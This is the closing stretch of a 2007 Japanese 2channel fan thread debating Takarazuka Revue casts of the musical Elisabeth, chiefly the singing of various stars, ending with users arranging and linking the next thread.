10年脈々と続いてきたのは、やっぱり作品自体の力が一番かと。

943 ：名無しさん＠そうだ選挙に行こう：2007/07/29(日) 16:39:38 ID:GNpo2MZd

初演が当時の雪だったのは、歌がうりのトップさんで、
かつ、主なメンバーも歌える人が多かったというのがあると思う。
失敗できないし。歌に重点をおいたシンプルな創り。

その後は、東宝でもやっているし、冒険ができるというか。
今回は、より宝塚的な方向性だなあと思う。
かといって、歌がどうでもいいわけでなく、今回の雪もかなり歌える人がそろってるなって感じがする。
ゆみこを引き抜いたり。はまこゾフィーは説得力がすごい。リヒテンシュタインもいいし。
そういういい条件の中、お芝居的にも面白く展開されていると思う。

944 ：名無しさん＠そうだ選挙に行こう：2007/07/29(日) 17:24:41 ID:bMXib65T

リヒテンシュタイン
Youtubeでリンゴさんの見て、何この人サイコー！と思ったが生でエリザ(初演雪
ではない)みて、あの人やばかったんだろうなと思い始めた。
みほねえさんは貫禄・歌とかなりの項目において最高ですた。

せあらは一応シンガーっぽいけどね。

945 ：名無しさん＠そうだ選挙に行こう：2007/07/29(日) 17:41:37 ID:DPdibhp2

どうも>871です
俺は全部見たが初演雪やっぱよかった（高一のときやったな）

まあ、あのメンバーやからこそ今も続いてるまでは全く思わんけど
あのメンバーやったからこそ伝説になったと俺は思う
他の組なら「伝説」にはなってないやろうしね

結局は人それぞれでいいんちゃうか？

>877みたいにワタルルキ最高！も。。。ありやろ！
個人的にはワタルの和物は萌えるんだが、演技、歌ともに
いつも通りな上に、好きなビジュアルも電波少年で懸賞生活やってた
アノ人にしか見えんかったorz

>875
こんど一緒に観に行こうかw

あと個人的に思うのは、生で観たら「まあ、ええんちゃう？」と
どの組も思うが、DVDで観た時に
逆にはっきり分かるような気がします

946 ：名無しさん＠そうだ選挙に行こう：2007/07/29(日) 18:11:42 ID:J0P0SKzK

ｵｲﾗも初演雪エリザを実際見たのって東宝で観たんだよ
その時はすごく音響の悪い席で観たから音楽が響いたのと
あの雪組歌唱の面々だったから何言ってるのかわからなくてね
その時はいいとは思わなかったんだ　その時は照明がいいと
思ったなぁ　それで後のﾋﾞﾃﾞｵで観ていい作品だと思った
後で星組エリザを観たら、演出として完成度が高いと思ったのは
これだと思った
第一幕のラストでトートが銀橋で足投げ出して寝転ぶのと
第二幕でルドルフの御棺の上に立って座るのとかは
今も形を変えども残っている

ところでヘレネがﾊﾝｶﾁを勢い余って破くのが好きだったんですが
戻してくれませんかねー？

947 ：名無しさん＠そうだ選挙に行こう：2007/07/29(日) 18:28:07 ID:DPdibhp2

>946
あぁ、音響あるね
初演雪は大劇場の方はコーラスが響きすぎて
分かりにくかった

まあ、それぞれにそれぞれの良さがあるね

しかし、せめて今回雪に限らず「感情が」「演技が」「演出が」
とかじゃなくて、全員歌が歌える前提で
「感情が」「演技が」「演出が」と言って欲しいと個人的に思う

あと個人的にお披露目エリザはヤメて欲しい
下手も対談前にはお披露目よりマシやろうし、上手い人はもっと上手くなってるから
お披露目エリザ続きなので、劇団は考えて欲しい（月はお披露目とレベル変わらん）

948 ：名無しさん＠そうだ選挙に行こう：2007/07/29(日) 19:38:43 ID:BYCUlsAZ

雪イチロさよなら
星あやかさよなら
花みろりさよならオサ御披露目
月サエコさよなら
雪みずとな御披露目

通常公演は宙だけか。うむ。

949 ：名無しさん＠そうだ選挙に行こう：2007/07/29(日) 19:39:49 ID:GNpo2MZd

>947
劇団が御披露目にエリザをもってくるのは、
トップが抜けてファンが減った組にファンを増やしたいという思いがあるんだと思う。

なんといっても、トップ以外に男役には３つもいい役がある。
今回は、キムはすごくファンを増やしているように思う。
もちろん、ゆみこも、テルも増やしていると思う。
普通の作品じゃあ、なかなかそうはいかない。

950 ：名無しさん＠そうだ選挙に行こう：2007/07/29(日) 19:53:34 ID:bMXib65T

雪はこのところ大作続きですね。
しかも、噂では風共がもうそろそろくるらしいですし。

951 ：名無しさん＠花束いっぱい。：2007/07/29(日) 21:02:11 ID:7Hd5J7Zz

大作の前に再演＆焼き直しが連続、
その上風共(水バトラー編なら見たいがｗ)。

噂通り、次回ショーが岡田先生だったら、
新作でありながら再演くさい物ができる可能性大だしな・・・orz

952 ：名無しさん＠花束いっぱい。：2007/07/29(日) 21:03:34 ID:bMXib65T

ROSE GARDEN焼き直し…。
りじぃの水…
グンちゃんのとなみ…

953 ：名無しさん＠花束いっぱい。：2007/07/29(日) 21:25:09 ID:X/HPHdyt

雪スレでも話題になってたけど、前回の雪エリザの次の大劇場は
飢爺書き下ろし「虹ナタ」だったよね・・。

954 ：名無しさん＠花束いっぱい。：2007/07/29(日) 21:41:37 ID:u1SGpDsn

>953　やめてー！嫌なこと思い出させないで！

955 ：名無しさん＠花束いっぱい。：2007/07/29(日) 23:42:11 ID:W2pdFTpm0

ナタ公・・トンヅラしたままぶつ切りで終わったよね・・。
続編とかきたりしてgkbr

956 ：名無しさん＠花束いっぱい。：2007/07/30(月) 00:18:57 ID:cwvMtQlM

>しかし、せめて今回雪に限らず「感情が」「演技が」「演出が」
>とかじゃなくて、全員歌が歌える前提で
>「感情が」「演技が」「演出が」と言って欲しいと個人的に思う

分かるな～
なんかべた褒めしてる人とかみると
人それぞれなんだから仕方ないんだけど
腹が立ってしまう・・・

957 ：名無しさん＠花束いっぱい。：2007/07/30(月) 01:16:30 ID:iQ5lNWcT

943ﾀﾝの言うとおり今回の雪エリザは
もともと歌唱力に定評のあるフランツ、ゾフィー、リヒテンシュタインら
アドリブ能力も含め総合力の高いルキーニ
ﾀｶﾗﾂﾞｶスターとしての輝きを発揮するトップコンビ
すごく良いコンビネーションだった。
様々な要素が真ん中の歌下手を補って余りある魅力ある舞台だった。
見られて良かった。

958 ：名無しさん＠花束いっぱい。：2007/07/30(月) 02:18:47 ID:eCTu6RC+

となみのぐんちゃんは100歩譲れるが、
水のリジィは無理だな。
まず声量がない。

ってｽﾚﾁだな。ｽﾏｿ。

959 ：名無しさん＠花束いっぱい。：2007/07/30(月) 03:14:09 ID:b8A46TMJ

今回の囁き系の「死」良かったよ
エリザもゾフィーもルキも…
かなり嵌まったけどな、再雪公演

今までの公演でナシだなーと思ったのは
ハッチさんのゾフィとあさこエリザのビジュ､サエコのトート
やっぱ人それぞれだねー

960 ：名無しさん＠花束いっぱい。：2007/07/30(月) 08:41:43 ID:1/81AQH+

＞全員歌が歌える前提で
「感情が」「演技が」「演出が」と言って欲しいと

もう激しく激しく同意。
ミュージカルで歌がダメってのは致命的だとｵﾓ

＞ヘレネがﾊﾝｶﾁを勢い余って破くのが好きだった

漏れもあの場面好きなんで今回帽子になって残念。
あと、ビンディッシュ嬢の所は、
シシィが自分のきれいな扇をぼろぼろの扇と交換するのが好きだ。

961 ：名無しさん＠花束いっぱい。：2007/07/30(月) 10:14:35 ID:3IceCYSU

全員歌が歌える、ってのを望む人は、宝塚版を観なけりゃいいと思う。
組単位での公演なんだから、限られた人間での公演になるし、
宝塚は人気があれば歌がダメでも大きな役がつく。
全員が歌えるエリザは、宝塚ではこの先何年たっても上演されない。

962 ：名無しさん＠花束いっぱい。：2007/07/30(月) 10:18:56 ID:XzUveoxq

つーか東宝版のトートも山佑以外は歌×なわけで。

963 ：名無しさん＠花束いっぱい。：2007/07/30(月) 11:51:06 ID:cwvMtQlM

>>961
それは分かってるんだけど
「エリザベート」となるとついついみてしまう・・・

964 ：名無しさん＠花束いっぱい。：2007/07/30(月) 13:26:49 ID:NoF20Tdu

「歌える人」じゃなくてもいいけど、「歌下手」に分類されてたミズトナが
主役をしてるってことが今回問題だなーって思う。

実際は公演がムラ～東宝とかなり上手くなってるけど、
いかんせんスタートラインが低すぎて、上手くなったといえどもxxx

965 ：名無しさん＠花束いっぱい。：2007/07/30(月) 13:34:34 ID:dpNqeTVT

947でございます

個人的には宝塚歌劇１００周年で、組関係無しで
ごちゃ混ぜでエリザやってほしい！
今も組関係無しで、番手通りで役を決めても
「歌を歌える前提で揃える事は」できると思う

初演雪は本当によくあれだけ歌える人を集めれたなぁ

人が偏ってもいいので、てかエリザの時だけでいいので
無理矢理歌える人を組み替え（終わったら戻す）で
やってもらわれんやろか？まあ、そんなこと無理やけど。。。

966 ：名無しさん＠花束いっぱい。：2007/07/30(月) 14:00:06 ID:eCTu6RC+

私的ベストキャスティングスレ逝け

967 ：james：2007/07/30(月) 17:05:41 ID:9v/QJ2w+

コムのルドルフ最高。
あの切ない感じがたまらん

968 ：名無しさん＠花束いっぱい。：2007/07/30(月) 19:39:47 ID:qZB04mlz

となみは歌下手って分類されてたっけ？
歌えるダンちゃんってキャッチフレーズだったよ。

969 ：名無しさん＠花束いっぱい。：2007/07/30(月) 20:25:59 ID:xOKOOpX1

檀ちゃんよりかはマシぐらいには歌える
ゆっくりした歌は聞けるけど、アップテンポや高低差が激しいのは
ダメだと思う

970 ：名無しさん＠花束いっぱい。：2007/07/30(月) 20:29:25 ID:8COXZMJi

歌えるグンちゃん？
グンちゃんは歌えなかったっけ？

マダム・ヴォルフはイマまでいろんなのを見たけど、
セクシーなのはエリさんだなぁー。
最後のキスシーンは、あゆみねえさんのは好きだけど
あゆみねえさんとわたるがキスしているとねぇ…。
その点、
みほねえ×りじぃ
エリさん×きりやん
かおり×キム
は似合っている。
まぁわたるでよかったねというのもあるけど。

今回、ヴォルフかおりががんばっていてビックリしたし、
キムと似合っていてみほねえじゃなくてよかったのかもなー。

イマ見てみたいなぁと思うのは、
北翔&音乃、和音
とか。

971 ：名無しさん＠花束いっぱい。：2007/07/30(月) 20:32:16 ID:1Fb3lbTf

歌えないスターって過去にもいっぱいいたし
宝塚好きな人は(私も)歌唱力自体はたいして気にはしてないんだな
ただエリザベートに関しては
歌に力がないと紙芝居のような舞台になってしまう、
とも思ってる。
なのでエリザだけは、組の枠とっぱらって
歌重視のキャストで上演してほしいな～と常々思ってるんだが…

972 ：名無しさん＠花束いっぱい。：2007/07/30(月) 20:34:03 ID:Zd67nj+b

となみは、「歌下手」グループではなかったよ。
どちらかというと上手いグループ。
たしかエトワールも経験してませんでしたっけ？
今回のエリザは苦戦しているなぁ、と思ったけど。

973 ：名無しさん＠花束いっぱい。：2007/07/30(月) 20:50:47 ID:Etn0F69t

東宝３回見たけどとなみ歌ウマーって思った。
酷評されてかわいそうだね。
がんばれ～

974 ：名無しさん＠花束いっぱい。：2007/07/30(月) 20:54:17 ID:8COXZMJi

となみは、歌上手いんだけど、声がキンキンしちゃうときが多いのが欠点
だと思う。
となみ＝歌下手っていうイメージは違うということ、私もエリザみて
初めて分かった。

975 ：名無しさん＠花束いっぱい。：2007/07/30(月) 21:38:54 ID:6xXmJTJv

組の枠取っ払ったエリザなぁ･･･

発足間もなかった宙エリザがそれに近かったと思う。
（一部キャストが歌重視とはいえなかったがｗ）
「組」の感じが希薄というか、特別公演を観てるような不思議な感覚で
正直、宝塚じゃないみたいだった。
発足当時の宙メンバーにはとても申し訳ない感想なんだけど。
メンバーが仲良くてまとまってたのもよく知ってたけど
それでも大劇場で舞台見て「組」の感じがしないのって、宝塚感（？）が薄れるんだな～と思った。
まあ、特別公演だと銘打ってやるならまた違うのかもしれんけどね。

976 ：名無しさん＠花束いっぱい。：2007/07/30(月) 21:59:03 ID:eCTu6RC+

となみは下手ではない。上手い方・・・とも言い難いけど。
音域が狭いのかね。

とりあえずエリザの歌では、私が踊るときは、
水が下手なのもあるが、二人とも酷い。

977 ：名無しさん＠花束いっぱい。：2007/07/30(月) 21:59:27 ID:wnuPiOzt

歌がうまいからエトワールするわけじゃないのは、宙１さん然り。
となみは下手じゃないけど、声に年齢を出せないのはイタイなぁ。

978 ：名無しさん＠花束いっぱい。：2007/07/30(月) 22:00:16 ID:J3MXfgVT

今ｽｶｽﾃで流れた雪エリザのDVDすごい良さそう。
ダイジェストだけで泣きそうになった。ミズもとなみもゆみこもキムもすごくいい！

979 ：名無しさん＠花束いっぱい。：2007/07/30(月) 22:02:11 ID:qtAZ6CgK

今の雪・・いいと思うぞ。一路やずんこ、オサみたいなスター（歌に関して）はそうそうでないだろ。
歌が文句なければ全ていいかと問われたら自分的には違うな。
だいたい神妙なシーンでさえニコニコ歌われた日には？？？オサ～ちょっと
役創りが・・・って思うし。最初は歌うまいしかっこいい人だとオサのこと
思ってたけど、何作か観たら毎回同じスタンスで役も掘り下げていないし
歌うまくてもただそれだけで、二度と観るもんかと。

心を動かしてくれる舞台人なら何万払っても観に行くよ。

980 ：名無しさん＠花束いっぱい。：2007/07/30(月) 22:09:09 ID:4wYojPF7

オサがニコニコ？よう分からん。
エリザの歌に関しては、最低限ここまでは歌えて欲しい
っていうのが観客側に有ると思う。

981 ：名無しさん＠花束いっぱい。：2007/07/30(月) 22:14:49 ID:4wYojPF7

すみません、980踏んじゃったけど、規制されてるみたいでスレ立て出来ません…。
どなたかお願いします！

982 ：名無しさん＠花束いっぱい。：2007/07/30(月) 22:16:30 ID:8COXZMJi

スレタイどうする？？？
曲。
皇后のつとめ、美貌、闇が広がる、愛と死の輪舞
とかかな？ヤミヒロはもう出たか？

983 ：名無しさん＠花束いっぱい。：2007/07/30(月) 22:24:38 ID:Sw2F7b7W

part2が「私が踊る時」で、初代スレは曲名無かったはず。
お好きにどうぞー

984 ：名無しさん＠花束いっぱい。：2007/07/30(月) 22:44:46 ID:cCU0IFXq

相変わらず、歌ウマにケチ付けたい人のいることでｗ
ご贔屓、歌下手なんだねｗ

オサが神妙なシーンでニコニコって記憶は自分はない。
花エリザは好きでかなり通ったけど。
当時そういわれて話題になってた記憶もない。
だからってオサのトートが完璧とも言わないけど
自分的には、水トートよりは数段良かった。
一路トートや姿月トートとだと甲乙付けがたいけど。

985 ：名無しさん＠花束いっぱい。：2007/07/30(月) 22:50:24 ID:ZefXlwuu

オサのは鬼畜的な笑み。
ミズのが明るくニコニコしてたよ。
ミズも鬼畜的笑みで頼む！

986 ：名無しさん＠花束いっぱい。：2007/07/30(月) 22:51:12 ID:u5dmD7ZT

堂々めぐりだねえ～。
ミズのトートが好きな人、嫌いな人
どっちも譲らないだろうし、折り合いはつかないから
言い合いしても、同じ論争の繰り返しに終わる。

987 ：名無しさん＠花束いっぱい。：2007/07/30(月) 23:24:26 ID:cfJ14fi1

まあまあ、長ファン、冷静に～
水さん、歌いいよ。声量もあれだけあれば、問題ない。
響いたよ、十分感動させてもらった。
また行かせて貰うわ。

988 ：名無しさん＠花束いっぱい。：2007/07/30(月) 23:46:57 ID:jOi3W9L9

スレ立て逝ってくるﾉｼ

989 ：名無しさん＠花束いっぱい。：2007/07/30(月) 23:50:38 ID:jOi3W9L9

規制中ですたorz

闇広にしたけど、曲名はご自由に～
↓テンプレ
【闇が】宝塚エリザベートPart5【広がる】

宝塚エリザベートを語るスレッドです。
980を踏んだ方は新スレッドを立ててください。

前スレ
【最後の】宝塚エリザベートPart4【ダンス】
http://hobby9.2ch.net/test/read.cgi/siki/1181278977/

990 ：名無しさん＠花束いっぱい。：2007/07/30(月) 23:51:49 ID:PLr6GXmI

いってみます

991 ：名無しさん＠花束いっぱい。：2007/07/30(月) 23:53:37 ID:PLr6GXmI

【闇が】宝塚エリザベートPart5【広がる】
http://hobby9.2ch.net/test/read.cgi/siki/1185807175/

992 ：名無しさん＠花束いっぱい。：2007/07/31(火) 00:27:46 ID:SmxJbkwd

>>991
乙華麗～！

993 ：名無しさん＠花束いっぱい。：2007/07/31(火) 00:32:04 ID:0WuMLdvR

>>991㌧！

水トート、役のとらえ方はなかなか面白いと思った。
ただ意外にビジュアルが気に入らなかったんだよ・・・
前髪もう少し作ってくれれば。
衣装もなんであんなに開襟ばっかりだったんだろ？
他のトートも開襟衣装はあったけど、
全部じゃなかったし。

994 ：名無しさん＠花束いっぱい。：2007/07/31(火) 00:33:28 ID:5FkZVPxd

好みはほんと人それぞれだとは思うけど
片方を　叩いておとしておいて
一方を良かった　といってもちあげても
異議あり！って言う人がどうしてもでてくるし
やっぱり　感じわるいよ。

995 ：980：2007/07/31(火) 00:35:19 ID:SXSdgmcs

すんません、>>991ﾀｿありがとうございます～。

996 ：名無しさん＠花束いっぱい。：2007/07/31(火) 18:45:56 ID:w+if61wz

>片方を　叩いておとしておいて一方を良かったといってもちあげても
>異議あり！って言う人がどうしてもでてくるしやっぱり　感じわるいよ。

まあ煽りの定番でしょ。
でなきゃ一方を貶すのが目的で、もう一方を誉めてるのは引き合いに出して利用してるだけ。
　　　　　　

997 ：名無しさん＠花束いっぱい。：2007/07/31(火) 19:05:05 ID:IjOHUUKk

オサとミズがどっちも好き。
足して割るとかは嫌で、二人ともそのまま（歌も）で好きだ。
芸風や持ち味は違うし、共通点は顔細長いだけだよねー。

998 ：名無しさん＠花束いっぱい。：2007/07/31(火) 21:50:46 ID:Zs76yZ8e

水トート、どうしても顔のでかさが気になる。
今まで水の顔がでかいと思ったことなかったのに。あごは出てると思ってたけど。
それが気になってどうしても物語に入りこめない。

999 ：名無しさん＠花束いっぱい。：2007/07/31(火) 22:00:41 ID:HmdvrBQ5

水のトート衣装、見事に開襟ばかりだよね。
やっぱりアゴの先の化粧が衣装についちゃうのを防ぐためなんだろうな。

1000 ：名無しさん＠花束いっぱい。：2007/07/31(火) 23:01:44 ID:TarQNrwU

（●▽●）つ1000

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